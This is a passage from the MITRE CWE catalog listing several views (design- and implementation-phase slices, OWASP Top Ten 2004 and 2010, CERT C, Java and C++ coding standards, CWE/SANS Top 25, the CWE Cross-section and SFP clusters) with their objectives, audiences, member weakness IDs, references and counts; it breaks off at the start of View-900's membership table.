[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

### Metrics

	CWEs in this view		Total CWEs
Weaknesses	88	out of	933

	CWEs in this view		Total CWEs
Categories	9	out of	352
Views	0	out of	47
Total	97	out of	1332

## View-701: Weaknesses Introduced During Design

View ID : 701

Type : Implicit

### Objective

This view (slice) lists weaknesses that can be introduced during design.

### Filter

/Weakness\_Catalog/Weaknesses/Weakness[./Modes\_Of\_Introduction/Introduction/  
Phase='Architecture and Design']

### Membership

Nature	Type	ID	Name	Page
HasMember	<input checked="" type="checkbox"/>	701	Weaknesses Introduced During Design	2318

### Metrics

	CWEs in this view		Total CWEs
Weaknesses	472	out of	933
Categories	0	out of	352
Views	0	out of	47
Total	472	out of	1332

## View-702: Weaknesses Introduced During Implementation

View ID : 702

Type : Implicit

### Objective

This view (slice) lists weaknesses that can be introduced during implementation.

### Filter

/Weakness\_Catalog/Weaknesses/Weakness[./Modes\_Of\_Introduction/Introduction/  
Phase='Implementation']

### Membership

Nature	Type	ID	Name	Page
HasMember	<input checked="" type="checkbox"/>	702	Weaknesses Introduced During Implementation	2318

### Metrics

	CWEs in this view		Total CWEs
Weaknesses	729	out of	933
Categories	0	out of	352
Views	0	out of	47
Total	729	out of	1332

## View-709: Named Chains

**View ID :** 709  
**Type :** Implicit

### Objective

This view displays Named Chains and their components.

### Filter

/Weakness\_Catalog/Weaknesses/Weakness[@Structure='Chain']

### Membership

Nature	Type	ID	Name	Page
HasMember	V	709	Named Chains	2318

### Metrics

	CWEs in this view		Total CWEs
Weaknesses	3	out of	933
Categories	0	out of	352
Views	0	out of	47
Total	3	out of	1332

## View-711: Weaknesses in OWASP Top Ten (2004)

**View ID :** 711  
**Type :** Graph

### Objective

CWE entries in this view (graph) are associated with the OWASP Top Ten, as released in 2004, and as required for compliance with PCI DSS version 1.1. This view is considered obsolete as a newer version of the OWASP Top Ten is available.

### Audience

#### Software Developers

This view outlines the most important issues as identified by the OWASP Top Ten (2004 version), providing a good starting point for web application developers who want to code more securely, as well as complying with PCI DSS 1.1.

#### Product Customers

This view outlines the most important issues as identified by the OWASP Top Ten, providing customers with a way of asking their software developers to follow minimum expectations for secure code, in compliance with PCI-DSS 1.1.

#### Educators

Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students. However, the 2007 version (CWE-629) might be more appropriate.

### Membership

Nature	Type	ID	Name	Page
HasMember	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	2127
HasMember	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	2128
HasMember	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	2129

Nature	Type	ID	Name	Page
HasMember	C	725	OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws	2130
HasMember	C	726	OWASP Top Ten 2004 Category A5 - Buffer Overflows	2130
HasMember	C	727	OWASP Top Ten 2004 Category A6 - Injection Flaws	2130
HasMember	C	728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	2131
HasMember	C	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	2131
HasMember	C	730	OWASP Top Ten 2004 Category A9 - Denial of Service	2132
HasMember	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	2133

## Notes

### Relationship

CWE relationships for this view were obtained by examining the OWASP document and mapping to any items that were specifically mentioned within the text of a category. As a result, this mapping is not complete with respect to all of CWE. In addition, some concepts were mentioned in multiple Top Ten items, which caused them to be mapped to multiple CWE categories. For example, SQL injection is mentioned in both A1 (CWE-722) and A6 (CWE-727) categories.

### Relationship

As of 2008, some parts of CWE were not fully clarified out in terms of weaknesses. When these areas were mentioned in the OWASP Top Ten, category entries were mapped, although general mapping practice would usually favor mapping only to weaknesses.

## References

[REF-570]"Top 10 2004". 2004 January 7. OWASP. < [http://www.owasp.org/index.php/Top\\_10\\_2004](http://www.owasp.org/index.php/Top_10_2004) >.

[REF-571]PCI Security Standards Council. "About the PCI Data Security Standard (PCI DSS)". < [https://www.pcisecuritystandards.org/security\\_standards/pci\\_dss.shtml](https://www.pcisecuritystandards.org/security_standards/pci_dss.shtml) >.

## Metrics

	CWEs in this view		Total CWEs
Weaknesses	117	out of	933
Categories	13	out of	352
Views	0	out of	47
Total	130	out of	1332

## View-734: Weaknesses Addressed by the CERT C Secure Coding Standard (2008)

View ID : 734

Type : Graph

### Objective

CWE entries in this view (graph) are fully or partially eliminated by following the guidance presented in the book "The CERT C Secure Coding Standard" published in 2008. This view is considered obsolete, as a newer version of the coding standard is available. This view statically represents the coding rules as they were in 2008.

### Audience

Software Developers

By following the CERT C Secure Coding Standard, developers will be able to fully or partially prevent the weaknesses that are identified in this view. In addition, developers can use a CWE coverage graph to determine which weaknesses are not directly addressed by the standard, which will help identify and resolve remaining gaps in training, tool acquisition, or other approaches for reducing weaknesses.















### Product Customers

If a software developer claims to be following the CERT C Secure Coding standard, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.

### Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could link them to the relevant Secure Coding Standard.

### Membership

Nature	Type	ID	Name	Page
HasMember		735	CERT C Secure Coding Standard (2008) Chapter 2 - Preprocessor (PRE)	2134
HasMember		736	CERT C Secure Coding Standard (2008) Chapter 3 - Declarations and Initialization (DCL)	2134
HasMember		737	CERT C Secure Coding Standard (2008) Chapter 4 - Expressions (EXP)	2135
HasMember		738	CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)	2135
HasMember		739	CERT C Secure Coding Standard (2008) Chapter 6 - Floating Point (FLP)	2136
HasMember		740	CERT C Secure Coding Standard (2008) Chapter 7 - Arrays (ARR)	2137
HasMember		741	CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)	2138
HasMember		742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	2139
HasMember		743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	2140
HasMember		744	CERT C Secure Coding Standard (2008) Chapter 11 - Environment (ENV)	2142
HasMember		745	CERT C Secure Coding Standard (2008) Chapter 12 - Signals (SIG)	2142
HasMember		746	CERT C Secure Coding Standard (2008) Chapter 13 - Error Handling (ERR)	2143
HasMember		747	CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)	2144
HasMember		748	CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)	2144

### Notes

#### Relationship

The relationships in this view were determined based on specific statements within the rules from the standard. Not all rules have direct relationships to individual weaknesses, although they likely have chaining relationships in specific circumstances.

### References

[REF-597]Robert C. Seacord. "The CERT C Secure Coding Standard". 1st Edition. 2008 October 4. Addison-Wesley Professional.



**Metrics**

	CWEs in this view		Total CWEs
Weaknesses	91	out of	933
Categories	14	out of	352
Views	0	out of	47
Total	105	out of	1332

**View-750: Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors**

View ID : 750

Type : Graph

**Objective**

CWE entries in this view (graph) are listed in the 2009 CWE/SANS Top 25 Programming Errors. This view is considered obsolete as a newer version of the Top 25 is available.

**Audience****Software Developers**

By following the Top 25, developers will be able to significantly reduce the number of weaknesses that occur in their software.

**Product Customers**

If a software developer claims to be following the Top 25, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.

**Educators**

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could focus on the Top 25.

**Membership**

Nature	Type	ID	Name	Page
HasMember		751	2009 Top 25 - Insecure Interaction Between Components	2145
HasMember		752	2009 Top 25 - Risky Resource Management	2146
HasMember		753	2009 Top 25 - Porous Defenses	2146

**References**

[REF-615]"2009 CWE/SANS Top 25 Most Dangerous Programming Errors". 2009 January 2. <  
[http://cwe.mitre.org/top25/archive/2009/2009\\_cwe\\_sans\\_top25.html](http://cwe.mitre.org/top25/archive/2009/2009_cwe_sans_top25.html) >.

**Metrics**

	CWEs in this view		Total CWEs
Weaknesses	26	out of	933
Categories	3	out of	352
Views	0	out of	47
Total	29	out of	1332

**View-800: Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors**

View ID : 800

Type : Graph

## Objective

CWE entries in this view (graph) are listed in the 2010 CWE/SANS Top 25 Programming Errors. This view is considered obsolete as a newer version of the Top 25 is available.

## Audience

### Software Developers

By following the Top 25, developers will be able to significantly reduce the number of weaknesses that occur in their software.

### Product Customers

If a software developer claims to be following the Top 25, then customers can use the weaknesses in this view in order to formulate independent evidence of that claim.

### Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could focus on the Top 25.

## Membership

Nature	Type	ID	Name	Page
HasMember	<b>C</b>	801	2010 Top 25 - Insecure Interaction Between Components	2147
HasMember	<b>C</b>	802	2010 Top 25 - Risky Resource Management	2148
HasMember	<b>C</b>	803	2010 Top 25 - Porous Defenses	2148
HasMember	<b>C</b>	808	2010 Top 25 - Weaknesses On the Cusp	2149

## References

[REF-732]"2010 CWE/SANS Top 25 Most Dangerous Software Errors". 2010 February 4. < [http://cwe.mitre.org/top25/archive/2010/2010\\_cwe\\_sans\\_top25.html](http://cwe.mitre.org/top25/archive/2010/2010_cwe_sans_top25.html) >.

## Metrics

	CWEs in this view		Total CWEs
Weaknesses	41	out of	933
Categories	4	out of	352
Views	0	out of	47
Total	45	out of	1332

## View-809: Weaknesses in OWASP Top Ten (2010)

**View ID** : 809

**Type** : Graph

## Objective

CWE nodes in this view (graph) are associated with the OWASP Top Ten, as released in 2010. This view is considered obsolete as a newer version of the OWASP Top Ten is available.

## Audience

### Software Developers

This view outlines the most important issues as identified by the OWASP Top Ten (2010 version), providing a good starting point for web application developers who want to code more securely.

### Product Customers

This view outlines the most important issues as identified by the OWASP Top Ten (2010 version), providing customers with a way of asking their software developers to follow minimum expectations for secure code.

## Educators

Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students.

## Membership

Nature	Type	ID	Name	Page
HasMember	C	810	OWASP Top Ten 2010 Category A1 - Injection	2149
HasMember	C	811	OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS)	2150
HasMember	C	812	OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management	2150
HasMember	C	813	OWASP Top Ten 2010 Category A4 - Insecure Direct Object References	2151
HasMember	C	814	OWASP Top Ten 2010 Category A5 - Cross-Site Request Forgery(CSRF)	2151
HasMember	C	815	OWASP Top Ten 2010 Category A6 - Security Misconfiguration	2151
HasMember	C	816	OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage	2152
HasMember	C	817	OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access	2152
HasMember	C	818	OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection	2153
HasMember	C	819	OWASP Top Ten 2010 Category A10 - Unvalidated Redirects and Forwards	2153

## Notes

### Relationship

The relationships in this view are a direct extraction of the CWE mappings that are in the 2010 OWASP document. CWE has changed since the release of that document.

## References

[REF-759]"Top 10 2010". 2010 April 9. OWASP. < [https://www.owasp.org/index.php/Category:OWASP\\_Top\\_Ten\\_Project#tab=OWASP\\_Top\\_10\\_for\\_2010](https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project#tab=OWASP_Top_10_for_2010) >.

## Metrics

	CWEs in this view		Total CWEs
Weaknesses	32	out of	933
Categories	10	out of	352
Views	0	out of	47
Total	42	out of	1332

## View-844: Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011)

View ID : 844

Type : Graph

## Objective

CWE entries in this view (graph) are fully or partially eliminated by following the guidance presented in the book "The CERT Oracle Secure Coding Standard for Java" published in 2011. This view is considered obsolete as a newer version of the coding standard is available.

## Audience

## Software Developers

By following The CERT Oracle Secure Coding Standard for Java, developers will be able to fully or partially prevent the weaknesses that are identified in this view. In addition, developers can use a CWE coverage graph to determine which weaknesses are not directly addressed by the standard, which will help identify and resolve remaining gaps in training, tool acquisition, or other approaches for reducing weaknesses.

## Product Customers

If a software developer claims to be following The CERT Oracle Secure Coding Standard for Java, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.

## Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could link them to the relevant Secure Coding Standard.

## Membership

Nature	Type	ID	Name	Page
HasMember		845	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)	2155
HasMember		846	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 3 - Declarations and Initialization (DCL)	2156
HasMember		847	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 4 - Expressions (EXP)	2156
HasMember		848	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 5 - Numeric Types and Operations (NUM)	2157
HasMember		849	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)	2157
HasMember		850	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)	2158
HasMember		851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	2158
HasMember		852	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 9 - Visibility and Atomicity (VNA)	2159
HasMember		853	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 10 - Locking (LCK)	2159
HasMember		854	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 11 - Thread APIs (THI)	2160
HasMember		855	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 12 - Thread Pools (TPS)	2160
HasMember		856	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 13 - Thread-Safety Miscellaneous (TSM)	2161
HasMember		857	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)	2161
HasMember		858	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)	2162
HasMember		859	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)	2162
HasMember		860	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 17 - Runtime Environment (ENV)	2163
HasMember		861	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)	2163

## Notes

### Relationship

The relationships in this view were determined based on specific statements within the rules from the standard. Not all rules have direct relationships to individual weaknesses, although they likely have chaining relationships in specific circumstances.

## References

[REF-813]Fred Long, Dhruv Mohindra, Robert C. Seacord, Dean F. Sutherland and David Svoboda. "The CERT Oracle Coding Standard for Java". 1st Edition. 2011 September 8. Addison-Wesley Professional.

## Metrics

	CWEs in this view		Total CWEs
Weaknesses	104	out of	933
Categories	17	out of	352
Views	0	out of	47
Total	121	out of	1332

## View-868: Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version)

View ID : 868

Type : Graph

### Objective

CWE entries in this view (graph) are fully or partially eliminated by following the SEI CERT C++ Coding Standard, as published in 2016. This view is no longer being actively maintained, since it statically represents the coding rules as they were in 2016.

### Audience

#### Software Developers

By following the CERT C++ Secure Coding Standard, developers will be able to fully or partially prevent the weaknesses that are identified in this view. In addition, developers can use a CWE coverage graph to determine which weaknesses are not directly addressed by the standard, which will help identify and resolve remaining gaps in training, tool acquisition, or other approaches for reducing weaknesses.






#### Product Customers

If a software developer claims to be following the CERT C++ Secure Coding Standard, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.

#### Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could link them to the relevant Secure Coding Standard.

### Membership

Nature	Type	ID	Name	Page
HasMember		869	CERT C++ Secure Coding Section 01 - Preprocessor (PRE)	2166
HasMember		870	CERT C++ Secure Coding Section 02 - Declarations and Initialization (DCL)	2167
HasMember		871	CERT C++ Secure Coding Section 03 - Expressions (EXP)	2167
HasMember		872	CERT C++ Secure Coding Section 04 - Integers (INT)	2168
HasMember		873	CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)	2168

Nature	Type	ID	Name	Page
HasMember	C	874	CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)	2169
HasMember	C	875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)	2169
HasMember	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	2170
HasMember	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	2171
HasMember	C	878	CERT C++ Secure Coding Section 10 - Environment (ENV)	2172
HasMember	C	879	CERT C++ Secure Coding Section 11 - Signals (SIG)	2172
HasMember	C	880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)	2173
HasMember	C	881	CERT C++ Secure Coding Section 13 - Object Oriented Programming (OOP)	2173
HasMember	C	882	CERT C++ Secure Coding Section 14 - Concurrency (CON)	2174
HasMember	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	2174

## Notes

### Relationship

The relationships in this view were determined based on specific statements within the rules from the standard. Not all rules have direct relationships to individual weaknesses, although they likely have chaining relationships in specific circumstances.

## References

[REF-847]The Software Engineering Institute. "SEI CERT C++ Coding Standard". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88046682> >.

## Metrics

	CWEs in this view		Total CWEs
Weaknesses	95	out of	933
Categories	15	out of	352
Views	0	out of	47
Total	110	out of	1332

## View-884: CWE Cross-section

View ID : 884

Type : Explicit

## Objective

This view contains a selection of weaknesses that represent the variety of weaknesses that are captured in CWE, at a level of abstraction that is likely to be useful to most audiences. It can be used by researchers to determine how broad their theories, models, or tools are. It will also be used by the CWE content team in 2012 to focus quality improvement efforts for individual CWE entries.

## Membership

Nature	Type	ID	Name	Page
HasMember	V	14	Compiler Removal of Code to Clear Buffers	14
HasMember	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	33
HasMember	B	23	Relative Path Traversal	44
HasMember	B	36	Absolute Path Traversal	72



Nature	Type	ID	Name	Page
HasMember	B	41	Improper Resolution of Path Equivalence	83
HasMember	B	59	Improper Link Resolution Before File Access ('Link Following')	108
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	147
HasMember	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	159
HasMember	B	88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	188
HasMember	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	195
HasMember	B	90	Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')	207
HasMember	B	94	Improper Control of Generation of Code ('Code Injection')	213
HasMember	V	95	Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')	220
HasMember	B	96	Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')	225
HasMember	C	99	Improper Control of Resource Identifiers ('Resource Injection')	235
HasMember	V	113	Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')	263
HasMember	B	117	Improper Output Neutralization for Logs	279
HasMember	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	294
HasMember	V	129	Improper Validation of Array Index	327
HasMember	B	131	Incorrect Calculation of Buffer Size	340
HasMember	B	134	Use of Externally-Controlled Format String	349
HasMember	B	135	Incorrect Calculation of Multi-Byte String Length	355
HasMember	B	170	Improper Null Termination	411
HasMember	V	173	Improper Handling of Alternate Encoding	417
HasMember	V	174	Double Decoding of the Same Data	419
HasMember	V	175	Improper Handling of Mixed Encoding	421
HasMember	B	179	Incorrect Behavior Order: Early Validation	430
HasMember	C	185	Incorrect Regular Expression	444
HasMember	B	190	Integer Overflow or Wraparound	453
HasMember	B	191	Integer Underflow (Wrap or Wraparound)	460
HasMember	B	193	Off-by-one Error	466
HasMember	B	203	Observable Discrepancy	497
HasMember	B	209	Generation of Error Message Containing Sensitive Information	510
HasMember	B	212	Improper Removal of Sensitive Information Before Storage or Transfer	520
HasMember	B	222	Truncation of Security-relevant Information	532
HasMember	B	223	Omission of Security-relevant Information	533
HasMember	C	228	Improper Handling of Syntactically Invalid Structure	540
HasMember	V	244	Improper Clearing of Heap Memory Before Release ('Heap Inspection')	561
HasMember	B	248	Uncaught Exception	566
HasMember	B	250	Execution with Unnecessary Privileges	568
HasMember	B	252	Unchecked Return Value	575



Nature	Type	ID	Name	Page
HasMember	B	253	Incorrect Check of Function Return Value	582
HasMember	B	262	Not Using Password Aging	600
HasMember	B	263	Password Aging with Long Expiration	602
HasMember	B	266	Incorrect Privilege Assignment	605
HasMember	B	267	Privilege Defined With Unsafe Actions	608
HasMember	B	268	Privilege Chaining	611
HasMember	B	270	Privilege Context Switching Error	618
HasMember	C	271	Privilege Dropping / Lowering Errors	620
HasMember	B	273	Improper Check for Dropped Privileges	626
HasMember	B	283	Unverified Ownership	643
HasMember	B	290	Authentication Bypass by Spoofing	668
HasMember	B	294	Authentication Bypass by Capture-replay	675
HasMember	B	296	Improper Following of a Certificate's Chain of Trust	682
HasMember	B	299	Improper Check for Certificate Revocation	690
HasMember	C	300	Channel Accessible by Non-Endpoint	692
HasMember	B	301	Reflection Attack in an Authentication Protocol	695
HasMember	B	304	Missing Critical Step in Authentication	700
HasMember	B	306	Missing Authentication for Critical Function	703
HasMember	B	307	Improper Restriction of Excessive Authentication Attempts	709
HasMember	B	308	Use of Single-factor Authentication	713
HasMember	B	312	Cleartext Storage of Sensitive Information	725
HasMember	B	319	Cleartext Transmission of Sensitive Information	740
HasMember	B	322	Key Exchange without Entity Authentication	749
HasMember	V	323	Reusing a Nonce, Key Pair in Encryption	750
HasMember	B	325	Missing Cryptographic Step	754
HasMember	C	327	Use of a Broken or Risky Cryptographic Algorithm	758
HasMember	B	331	Insufficient Entropy	778
HasMember	B	334	Small Space of Random Values	784
HasMember	B	335	Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)	786
HasMember	B	338	Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)	793
HasMember	B	341	Predictable from Observable State	799
HasMember	B	347	Improper Verification of Cryptographic Signature	811
HasMember	B	348	Use of Less Trusted Source	813
HasMember	B	349	Acceptance of Extraneous Untrusted Data With Trusted Data	815
HasMember	3	352	Cross-Site Request Forgery (CSRF)	821
HasMember	B	353	Missing Support for Integrity Check	828
HasMember	B	354	Improper Validation of Integrity Check Value	830
HasMember	B	364	Signal Handler Race Condition	851
HasMember	B	367	Time-of-check Time-of-use (TOCTOU) Race Condition	858
HasMember	B	369	Divide By Zero	865
HasMember	B	390	Detection of Error Condition Without Action	893
HasMember	B	392	Missing Report of Error Condition	901
HasMember	B	393	Return of Wrong Status Code	903
HasMember	C	400	Uncontrolled Resource Consumption	912
HasMember	C	406	Insufficient Control of Network Message Volume (Network Amplification)	937

Nature	Type	ID	Name	Page
HasMember		407	Inefficient Algorithmic Complexity	939
HasMember		408	Incorrect Behavior Order: Early Amplification	942
HasMember		409	Improper Handling of Highly Compressed Data (Data Amplification)	943
HasMember		434	Unrestricted Upload of File with Dangerous Type	991
HasMember		444	Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')	1009
HasMember		451	User Interface (UI) Misrepresentation of Critical Information	1020
HasMember		453	Insecure Default Variable Initialization	1024
HasMember		454	External Initialization of Trusted Variables or Data Stores	1025
HasMember		455	Non-exit on Failed Initialization	1028
HasMember		456	Missing Initialization of a Variable	1029
HasMember		467	Use of sizeof() on a Pointer Type	1050
HasMember		468	Incorrect Pointer Scaling	1053
HasMember		469	Use of Pointer Subtraction to Determine Size	1055
HasMember		470	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')	1057
HasMember		476	NULL Pointer Dereference	1070
HasMember		478	Missing Default Case in Multiple Condition Expression	1079
HasMember		480	Use of Incorrect Operator	1087
HasMember		483	Incorrect Block Delimitation	1095
HasMember		484	Omitted Break Statement in Switch	1097
HasMember		486	Comparison of Classes by Name	1100
HasMember		494	Download of Code Without Integrity Check	1119
HasMember		495	Private Data Structure Returned From A Public Method	1123
HasMember		496	Public Data Assigned to Private Array-Typed Field	1125
HasMember		498	Cloneable Class Containing Sensitive Information	1130
HasMember		499	Serializable Class Containing Sensitive Data	1132
HasMember		502	Deserialization of Untrusted Data	1137
HasMember		521	Weak Password Requirements	1154
HasMember		522	Insufficiently Protected Credentials	1157
HasMember		546	Suspicious Comment	1186
HasMember		547	Use of Hard-coded, Security-relevant Constants	1187
HasMember		561	Dead Code	1201
HasMember		563	Assignment to Variable without Use	1206
HasMember		567	Unsynchronized Access to Shared Data in a Multithreaded Context	1213
HasMember		587	Assignment of a Fixed Address to a Pointer	1244
HasMember		595	Comparison of Object References Instead of Object Contents	1256
HasMember		601	URL Redirection to Untrusted Site ('Open Redirect')	1266
HasMember		602	Client-Side Enforcement of Server-Side Security	1271
HasMember		605	Multiple Binds to the Same Port	1277
HasMember		617	Reachable Assertion	1297
HasMember		621	Variable Extraction Error	1303
HasMember		627	Dynamic Variable Evaluation	1314
HasMember		628	Function Call with Incorrectly Specified Arguments	1316
HasMember		642	External Control of Critical State Data	1330
HasMember		648	Incorrect Use of Privileged APIs	1344

Nature	Type	ID	Name	Page
HasMember	C	667	Improper Locking	1375
HasMember	C	672	Operation on a Resource after Expiration or Release	1386
HasMember	C	674	Uncontrolled Recursion	1391
HasMember	B	676	Use of Potentially Dangerous Function	1394
HasMember	B	681	Incorrect Conversion between Numeric Types	1400
HasMember	B	698	Execution After Redirect (EAR)	1431
HasMember	B	708	Incorrect Ownership Assignment	1442
HasMember	C	732	Incorrect Permission Assignment for Critical Resource	1445
HasMember	B	756	Missing Custom Error Page	1469
HasMember	B	763	Release of Invalid Pointer or Reference	1488
HasMember	B	770	Allocation of Resources Without Limits or Throttling	1502
HasMember	B	772	Missing Release of Resource after Effective Lifetime	1512
HasMember	B	783	Operator Precedence Logic Error	1536
HasMember	B	786	Access of Memory Location Before Start of Buffer	1544
HasMember	B	788	Access of Memory Location After End of Buffer	1555
HasMember	B	798	Use of Hard-coded Credentials	1573
HasMember	B	805	Buffer Access with Incorrect Length Value	1585
HasMember	B	807	Reliance on Untrusted Inputs in a Security Decision	1595
HasMember	B	822	Untrusted Pointer Dereference	1604
HasMember	B	825	Expired Pointer Dereference	1612
HasMember	B	829	Inclusion of Functionality from Untrusted Control Sphere	1621
HasMember	B	835	Loop with Unreachable Exit Condition ('Infinite Loop')	1636
HasMember	B	838	Inappropriate Encoding for Output Context	1641
HasMember	B	839	Numeric Range Comparison Without Minimum Check	1644
HasMember	B	841	Improper Enforcement of Behavioral Workflow	1649
HasMember	C	862	Missing Authorization	1657
HasMember	C	863	Incorrect Authorization	1664

### Metrics

	CWEs in this view		Total CWEs
Weaknesses	157	out of	933
Categories	0	out of	352
Views	0	out of	47
Total	157	out of	1332

## View-888: Software Fault Pattern (SFP) Clusters

**View ID :** 888

**Type :** Graph

### Objective

CWE identifiers in this view are associated with clusters of Software Fault Patterns (SFPs).

### Audience

**Applied Researchers**

**Academic Researchers**

**Product Vendors**

### Membership

Nature	Type	ID	Name	Page
HasMember	C	885	SFP Primary Cluster: Risky Values	2175
HasMember	C	886	SFP Primary Cluster: Unused entities	2175
HasMember	C	887	SFP Primary Cluster: API	2175
HasMember	C	889	SFP Primary Cluster: Exception Management	2176
HasMember	C	890	SFP Primary Cluster: Memory Access	2176
HasMember	C	891	SFP Primary Cluster: Memory Management	2176
HasMember	C	892	SFP Primary Cluster: Resource Management	2177
HasMember	C	893	SFP Primary Cluster: Path Resolution	2177
HasMember	C	894	SFP Primary Cluster: Synchronization	2177
HasMember	C	895	SFP Primary Cluster: Information Leak	2178
HasMember	C	896	SFP Primary Cluster: Tainted Input	2178
HasMember	C	897	SFP Primary Cluster: Entry Points	2178
HasMember	C	898	SFP Primary Cluster: Authentication	2179
HasMember	C	899	SFP Primary Cluster: Access Control	2179
HasMember	C	901	SFP Primary Cluster: Privilege	2179
HasMember	C	902	SFP Primary Cluster: Channel	2180
HasMember	C	903	SFP Primary Cluster: Cryptography	2180
HasMember	C	904	SFP Primary Cluster: Malware	2180
HasMember	C	905	SFP Primary Cluster: Predictability	2181
HasMember	C	906	SFP Primary Cluster: UI	2181
HasMember	C	907	SFP Primary Cluster: Other	2182
HasMember	C	1237	SFP Primary Cluster: Faulty Resource Release	2275
HasMember	C	1238	SFP Primary Cluster: Failure to Release Memory	2275

## References

[REF-19]Nikolai Mansourov and Djenana Campara. "System Assurance". 2010 December 6. < <https://www.elsevier.com/books/system-assurance/mansourov/978-0-12-381414-2> >.

[REF-20]Ben Calloni, Nikolai Mansourov and Djenana Campara. "Task Order 0006: Vulnerability Path Analysis and Demonstration (VPAD). Volume 2 - White Box Definitions of Software Fault Patterns". 2011 December. < <https://apps.dtic.mil/docs/citations/ADB381215> >.

## Metrics

	CWEs in this view		Total CWEs
Weaknesses	614	out of	933
Categories	83	out of	352
Views	0	out of	47
Total	697	out of	1332

## View-900: Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors

View ID : 900

Type : Graph

### Objective

CWE entries in this view (graph) are listed in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors.

### Audience

Software Developers

By following the Top 25, developers will be able to significantly reduce the number of weaknesses that occur in their software.

### Product Customers

If a software developer claims to be following the Top 25, then customers can use the weaknesses in this view in order to formulate independent evidence of that claim.

### Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could focus on the Top 25.

### Membership

Nature	Type	ID	Name	Page
